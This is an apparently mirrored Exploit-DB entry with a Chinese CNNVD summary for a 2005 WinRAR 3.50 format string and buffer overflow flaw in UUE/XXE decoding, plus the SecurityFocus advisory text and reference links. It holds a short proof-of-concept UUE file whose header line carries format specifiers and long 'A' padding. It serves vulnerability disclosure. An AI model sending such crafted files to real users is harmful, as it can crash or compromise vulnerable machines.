https://www.exploit-db.com/exploits/26342
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200510-147

WinRar是非常流行的压缩/解压工具。在显示诊断错误消息通知用户UUE/XXE编码文件中存在无效的文件名时存在格式串漏洞，导致在解码恶意的UUE/XXE文件时会执行任意代码。

source: http://www.securityfocus.com/bid/15062/info

WinRAR is prone to multiple remote vulnerabilities. These issues include a format string and a buffer overflow vulnerability. Successful exploitation may allow an attacker to execute arbitrary code on a vulnerable computer.

WinRAR 3.50 and prior versions are vulnerable to these issues. 

begin 644 %0.8x.%0.8x.%0.8x.%0.8x.%0.8xAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
`
end

来源:BID
名称:15062
链接:http://www.securityfocus.com/bid/15062
来源:MISC
链接:http://secunia.com/secunia_research/2005-53/advisory/
来源:SECUNIA
名称:16973
链接:http://secunia.com/advisories/16973/
来源:www.rarlabs.com
链接:http://www.rarlabs.com/rarnew.htm